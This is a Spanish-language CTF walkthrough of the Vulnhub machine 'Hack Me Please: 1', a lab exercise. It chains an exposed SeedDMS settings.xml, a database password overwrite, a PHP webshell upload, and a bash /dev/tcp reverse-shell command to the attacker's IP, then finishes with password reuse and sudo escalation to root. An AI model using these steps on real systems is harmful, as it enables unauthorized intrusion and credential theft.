Vulnhub-Hack Me Please:1 CTF Walkthrough

Hack me please vulnhub

Una máquina sencilla totalmente hecha para OSCP. No se requiere fuerza bruta. El objetivo es obtener una shell root.
Comenzaré con el reconocimiento de la máquina objetivo, utilizaré la herramienta arp-scan para esta tarea.
arp-scan
Nuestra máquina objetivo tiene la dirección IP 192.168.50.36, con la herramienta Nmap escanearé los puertos abiertos y servicios que se están ejecutando en nuestra máquina objetivo.
nmap -sS
Como se muestra en la imagen anterior hay tres puertos abiertos. Ahora con la misma herramienta escaneare estos puertos para obtener los servicios que se están ejecutando.
nmap -sV
Ahora sabemos que se están ejecutando en el puerto 80 se está ejecutando el servidor Apache httpd versión 2.4.41, y en el puerto 3306 se está ejecutando Mysql 8.0.25.

Ahora en mi navegador web cargaré el sitio web que se está ejecutando en la máquina objetivo.
pagina web
Revisando la página web y su código fuente no encontré nada interesante, lo que haré ahora será enumerar directorios del servidor web. Utilizaré la herramienta Gobuster para realizar la enumeración de directorios.
Gobuster
La herramienta descubrió archivo genéricos típicos de la estructura de directorios de un sitio web. al cargar cada directorio en mi navegador web este responde con forbidden. En ocasiones al cargar un directorio en el navegador este lista los archivos y subdirectorios que se encuentran en él, lo que conoce como Index of, por lo tanto, revisaré nuevamente el código fuente para enumerar archivos con extensiones .js, .css, etc.    
forbidden
Con la herramienta curl solicitaré la página web, la herramienta me devolverá el código fuente de la página web, esto es útil para aplicar algunos filtros de búsqueda como se muestra a continuación.
curl

Al analizar cada uno de los archivos .js encontré algo interesante en los comentarios del archivo main.js.

js-comment
Como se muestra en la imagen hay un comentario en formato js que dice "asegúrese de que este archivo js sea el mismo que la aplicación instalada en nuestro servidor: /seeddms51x/seeddms-5.1.22/" al parecer es una ruta web. Lo que haré será cargar esta ruta en el navegador web.
seeddms
Al cargar la ruta http://192.168.50.36/seeddms51x/seeddms-5.1.22/, se nos muestra un panel de autenticación y otra información importante. Como se muestra en la imagen se muestra el nombre de la aplicación SeedDMS y en la misma url la "versión" de la aplicación 5.1.22.

SeeDMS como dice en su página web es un sistema de gestión de documentos gratuito y de código abierto con una interfaz de usuario basada en web fácil de usar para pequeñas y medianas empresas.

También encontré un repositorio de la aplicación en Github, esto será útil para analizar los diferentes archivos que componen la aplicación en busca de alguna fuga de información. También es útil porque evita tener que descargar la aplicación e instalarla para probar su funcionalidad.

Ahora con la herramienta searchsploit buscaré alguna vulnerabilidad conocida para la aplicación SeedDMS.
searchsploit
La herramienta nos muestra tres vulnerabilidades para nuestra versión de SeedDMS, la vulnerabilidad que me interesa explotar es Remote Command Execution. Ahora revisaré la información sobre este exploit, ejecute el siguiente comando para ver la información searchsploit -x php/webapps/47022.txt.
.
searchsploit -x
Como se muestra en la imagen para explotar esta vulnerabilidad debemos seguir los siguientes pasos:
  1. Estar autenticado en la aplicación.
  2. Luego debemos crear un archivo .php y en el agregar el código php que se muestra en el ejemplo o se puede crear una webshell como puerta trasera.
  3. Debemos subir este archivo al servidor y verificar la identificación del documento enviado al servidor con nuestro documento.
  4. Por último, para nuestro caso debemos ir a http:192.168.50.36/data/1048576/id_cocumento/documento.php?cmd=/etc/passwd
También en la información del exploit se nos indica que los directorios "data" y "1048576" son directorios por defecto donde se guardan los archivos cargados en el servidor.

Analizando los diferentes directorios desde el repositorio de Github en el directorio conf encontré un archivo .htaccess, el archivo .htaccess se utiliza para crear configuraciones que le indica al servidor como debe funcionar.
htaccess
Dentro del archivo .htaccess encontré un comentario interesante.
htaccess
En el comentario indica "¡Asegúrese de que settings.xml no se pueda abrir desde afuera!
Redirigir /conf/settings.xml /index.php "

Lo que haré ahora es cargar este archivo desde mi navegador web, con esto comprobaré si al desplegar la aplicación en la máquina objetivo realizaron dicha configuración.   
settings.xml
Como se muestra en la imagen anterior podemos desplegar el archivo settings.xml en nuestro navegador web. analizando él archivo en el se encuentran las configuraciones de conexión de base de dato.
config database
Donde, nombre de base de datos es seeddms, nombre de usuario es seeddms y la contraseña de usuario es seeddms.

Con esta información lo que haré será conectarme a la base de dato desde mi cliente Mysql.
conexion base de dato mysqlClient

Ahora estando conectado al motor de base de dato MySql desde mi máquina listaré las bases de datos con el comando show databases.
Como se muestra en la imagen anterior se lista la base de dato de la aplicación seeddms. Utilizaré la herramienta DbSchema para conectar a la base de datos para analizar su estructura.
DbSchema
Con esta herramienta me enfocaré en las siguientes tablas.
tblUsers
Analizando la tabla tblUsers encontré la siguiente información.
usuario de seeddms
Hay dos usuarios admin y guest, las contraseñas se guardan cifradas en formato MD5 y como se muestra en la siguiente imagen la contraseña para el usuario admin se encuenta expirada.

pwdExpiration
Lo que intentaré será crear una contraseña, luego cifraré en formato MD5 y actualizaré la contraseña del usuario admin.

update password
Ahora probaré la contraseña en el panel de autenticación de la aplicación SeedDMS.
login sucessful
Pudimos autenticarnos como usuario admin, ahora crearé nuestra puerta trasera. 
cmd.php
Ahora resta subir el archivo creado anteriormente.
Menu addDocument
Hacemos clic en menú Add document, se mostrará la siguiente pantalla.
Add Document
En la parte que dice "Version Information" hacemos clic en el Browser... y seleccionamos el archivo que creamos llamado cmd.php.
upload document
Por último, damos clic en el botón add document que se encuentra en la parte inferior de la página web.
A dar clic en el botón Add document se nos redirecciona a la siguiente página en blanco.
pagina_addDocument
Aquí hacemos clic en el botón atrás del navegador web y luego hacemos clic en links Folder.
Folder link
Se nos mostrará la siguiente página.
lista de documento
Para obtener el ID del documento damos clic en cmd.php y se nos mostrará la siguiente información.
ID Doc
Según la información que se nos da sobre el exploit deberíamos ejecutar la siguiente url http://192.168.50.36/seeddms51x/data/1048576/7/1.php?cmd=cat+/etc/passwd. Se nos mostrará el siguiente resultado.
exploit
Por último, no queda obtener acceso a la máquina objetivo. Entonces en mi máquina atacante con la herramienta Netcat configuraré un puerto en escucha como se muestra en la siguiente imagen.
netcat
Y en la máquina objetivo ejecutaré la siguiente instrucción bash -c "bash -i >& /dev/tcp/192.168.50.35/443 >& 1". Donde, la dirección IP 192.168.50.35, es mi dirección IP, es decir, la dirección IP de la máquina atacante, y 443 es el puerto que está en escucha en mi máquina atacante.
bash
Al enviar la solicitud al servidor con la instrucción antes descrita, en nuestra máquina atacante recibimos una conexión desde la máquina objetivo a nuestra máquina atacante.
conexion reversa
Ahora haré algunas configuraciones en mi terminal, con el objetivo de tener una terminar interactiva y funcional.

Ejecutaré el comando tty.
tty
El comando tty muestra el nombre del archivo del terminal conectado a la entrada estándar. En este caso y como se muestra en la imagen no hay ningún archivo conectado a la entrada estándar. Por lo tanto, ejecutaré la siguiente instrucción
script

La instrucción script crea un registro en la sesión de la terminal, grabando todo lo que se ejecute en la terminal y -c bash se especifica el comando que se ejecutará dentro del script.

Luego presiono la combinación de teclas Ctrl+z para enviar el proceso actual a segundo plano. y ejecuto la siguiente instrucción.
stty
Ahora ejecuto la siguiente instrucción en la consola reset xterm.
reset xterm
Si imprimo la variable $TERM está variable vale dump. Por lo tanto, debemos exportar nuestra xterm a nuestra variable $TERM como se muestran en la siguientes imágenes.
TERM = dump
 
export TERM=xterm
Con esto en nuestra terminal tenemos disponible el comando Ctrl + l y Ctrl + c y una terminal interactiva.

Volviendo a nuestro pentest, ejecutaré el siguiente comando cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
Hay dos usuarios que tienen asociado una bash. Entonces ejecutaré el comando su saket, para cambiar de usuario.
Como se muestra en la imagen anterior se nos pide la contraseña/password del usuario saket la cual no la sabemos.

Volviendo a la base de dato de la aplicación seedDMS existe una tabla llamada Users.
tabla users

registro tabla users
Como se muestra en la imagen anterior en la tabla users existe el registro de un usuario saket y su contraseña veré si el usuario saket reutilizó su contraseña.
test password saket
El usuario saket reutilizó su contraseña/password. Ahora vamos a ver los permisos que tiene el usuario saket.
sudo -l
Como se muestra en la imagen el usuario saket puede ejecutar comandos con privilegios elevados utilizando el comando sudo. Por lo tanto, ejecutaré el siguiente comando sudo su, para cambiar de usuario saket a usuario root.
elevacion de privilegio
Como se muestra en la imagen anterior elevamos privilegio a usuario root.

Happy Hack!!!

Comentarios